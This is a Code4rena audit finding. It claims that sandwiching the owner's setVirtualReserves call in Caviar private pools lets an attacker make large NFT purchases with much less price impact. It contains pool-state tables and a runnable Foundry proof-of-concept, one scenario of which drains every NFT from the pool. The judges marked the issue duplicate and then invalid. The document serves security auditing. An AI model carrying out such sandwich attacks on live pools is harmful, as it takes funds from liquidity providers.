Sandwiching `setVirtualReserves` can lead to reduced price impact

[code423n4]

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L484-L507 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L538-L545

Vulnerability details

Impact

Due to the inner logic of the AMM pool, large swaps lead to an increase in price impact, resulting in a higher effective price paid by the user performing the swap. This makes large swaps increasingly expensive.

However, in private Caviar pools, the pool owner can set virtual reserves. Situations where the owner updates the virtual reserves can be exploited by a malicious actor to significantly reduce the price impact of large swaps. By sandwiching the call to the setVirtualReserves function, the actor can make a big swap, leaving the pool in a unbalanced state, but then setVirtualReserves artificially rebalances the pool, allowing the actor to a second swap in a much more favorable pool state, effectively executing large swaps with reduced price impact ( See POC section below for an example where 68% of the execution cost were reduced exploiting this). On extreme cases draining one entire side of the pool becomes possible (See POC).

Malicious users and MEV bots can exploit this reduce significantly the amount of funds necessary for large swaps, leading to loss of funds to the pool’s LP (in this case the Pool owner). Therefore consider this one as a high severity finding.

Proof of Concept

Consider the following scenario. To ease the explanation fees were zeroed and all NFTs share the same base weight of 1e18. A private pool is set and it has ETH balance = 100e18 and NFT balance = 100. The pool owner decides to deposit more funds, in order to maintain the same price, he deposits more 20e18 of ETH and NFT weghting more 20e18 and then calls setVirtualReserves to update the virtual balances accordingly. The attacker sees this transaction in the mempool and tries to sandwich it. See the tables below for snapshots of the pool state during the attack.

Initial pool state

| ETH balance | NFT balance | virtualBaseTokenReserve | virtualNftReserves |
|-------------|-------------|-------------------------|--------------------|
| 100e18      | 100         | 100e18                  | 100e18             |

Pool state after sandwich’s first tx (40 NFTs bought for 66 ETH)

| ETH balance | NFT balance | virtualBaseTokenReserve | virtualNftReserves |
|-------------|-------------|-------------------------|--------------------|
| 166e18      | 60          | 166e18                  | 60e18              |

Pool state after owner’s deposit and setVirtualReserves

| ETH balance | NFT balance | virtualBaseTokenReserve | virtualNftReserves |
|-------------|-------------|-------------------------|--------------------|
| 186e18      | 80          | 120e18                  | 120e18             |

Pool state after sandwich’s second tx (40 NFTs bought for 60 ETH)

| ETH balance | NFT balance | virtualBaseTokenReserve | virtualNftReserves |
|-------------|-------------|-------------------------|--------------------|
| 246e18      | 40          | 180e18                  | 80e18              |

By doing this, the attacker manages to reduce significantly the price impact of his swap compared to doing a single swap at the expense of the Pool’s LPs (126 ETH vs 400ETH)

The foundry test below reproduce three scenarios:

• testPocNormal : Attacker buys 80 NFTs on a single tx (cost: 400ETH)
• testPocSandwich80 : Attacker sandwich the owner calls and also buys 80 NFTs (126ETH, 68% reduction)
• testPocSandwich100 : Attacker sandwich the owner calls and buy all the NFTs from the pool.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "../Fixture.sol";
import "../../src/PrivatePool.sol";
import "../../lib/forge-std/src/console.sol";

contract SellTest is Fixture {
    event Sell(
        uint256[] tokenIds,
        uint256[] tokenWeights,
        uint256 outputAmount,
        uint256 feeAmount,
        uint256 protocolFeeAmount,
        uint256 royaltyFeeAmount
    );

    PrivatePool public privatePool;

    address baseToken = address(0);
    address nft = address(milady);
    uint128 virtualBaseTokenReserves = 100e18;
    uint128 virtualNftReserves = 100e18;
    uint56 changeFee = 0;
    uint16 feeRate = 0;
    bytes32 merkleRoot = bytes32(0);
    address owner = address(this);

    IStolenNftOracle.Message[] stolenNftProofs;
    uint256[] tokenIds;
    uint256[] tokenIds1;
    uint256[] tokenIds2;
    uint256[] deposit;
    uint256[] tokenWeights;

    PrivatePool.MerkleMultiProof proofs;

    function setUp() public {

        privatePool = new PrivatePool(address(factory), address(royaltyRegistry), address(stolenNftOracle));
        privatePool.initialize(
            baseToken, nft, virtualBaseTokenReserves, virtualNftReserves, changeFee, feeRate, merkleRoot, true, true
        );

        deal(address(privatePool), virtualBaseTokenReserves);

        for (uint256 i = 0; i < 100; i++) {
            milady.mint(address(privatePool), i);
        }

        for (uint256 i = 100; i < 120; i++) {
            milady.mint(address(this), i);
        }

        milady.setApprovalForAll(address(privatePool), true);
    }

    function testPocNormal() public {

        for (uint256 i = 0; i < 80; i++) {
            tokenIds.push(i);
        }

        (uint256 buyQuote,,) = privatePool.buyQuote(80e18);
        (uint256 netInputAmount,,) = privatePool.buy{value: buyQuote}(tokenIds, tokenWeights, proofs);

        console.log("Total cost (without fees):", netInputAmount);
    }

    function testPocSandwich80() public {
        for (uint256 i = 0; i < 40; i++) {
            tokenIds1.push(i);
        }

        for (uint256 i = 40; i < 80; i++) {
            tokenIds2.push(i);
        }

        // Sandwich 1st Tx
        (uint256 buyQuote,,) = privatePool.buyQuote(40e18);
        (uint256 netInputAmount1,,) = privatePool.buy{value: buyQuote}(tokenIds1, tokenWeights, proofs);

        // Owner deposit more funds and sets the virtual reserves
        for (uint256 i = 100; i < 120; i++) {
            deposit.push(i);
        }
        privatePool.deposit{value: 20e18}(deposit, 20e18);
        privatePool.setVirtualReserves(120e18, 120e18);

        // Sandwich 2nd Tx
        (buyQuote,,) = privatePool.buyQuote(40e18);
        (uint256 netInputAmount2,,) = privatePool.buy{value: buyQuote}(tokenIds2, tokenWeights, proofs);

        console.log("Total cost (without fees):", netInputAmount1 + netInputAmount2);
    }

    function testPocSandwich100() public {
        for (uint256 i = 0; i < 50; i++) {
            tokenIds1.push(i);
        }

        for (uint256 i = 50; i < 120; i++) {
            tokenIds2.push(i);
        }

        // Sandwich 1st Tx
        (uint256 buyQuote,,) = privatePool.buyQuote(50e18);
        (uint256 netInputAmount1,,) = privatePool.buy{value: buyQuote}(tokenIds1, tokenWeights, proofs);

        // Owner deposit more funds and sets the virtual reserves
        for (uint256 i = 100; i < 120; i++) {
            deposit.push(i);
        }
        privatePool.deposit{value: 20e18}(deposit, 20e18);
        privatePool.setVirtualReserves(120e18, 120e18);

        // Sandwich 2nd Tx
        (buyQuote,,) = privatePool.buyQuote(70e18);
        (uint256 netInputAmount2,,) = privatePool.buy{value: buyQuote}(tokenIds2, tokenWeights, proofs);

        console.log("Total cost (without fees):", netInputAmount1 + netInputAmount2);

        // Check that all NFTs were drained from the pool
        assertEq(milady.balanceOf(address(privatePool)), 0);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Consider adding a pause mechanism and letting the setVirtualReserves function to be called only when the contract is in the paused state.

[c4-pre-sort]

0xSorryNotSorry marked the issue as high quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #83

[c4-judge]

GalloDaSballo marked the issue as unsatisfactory: Invalid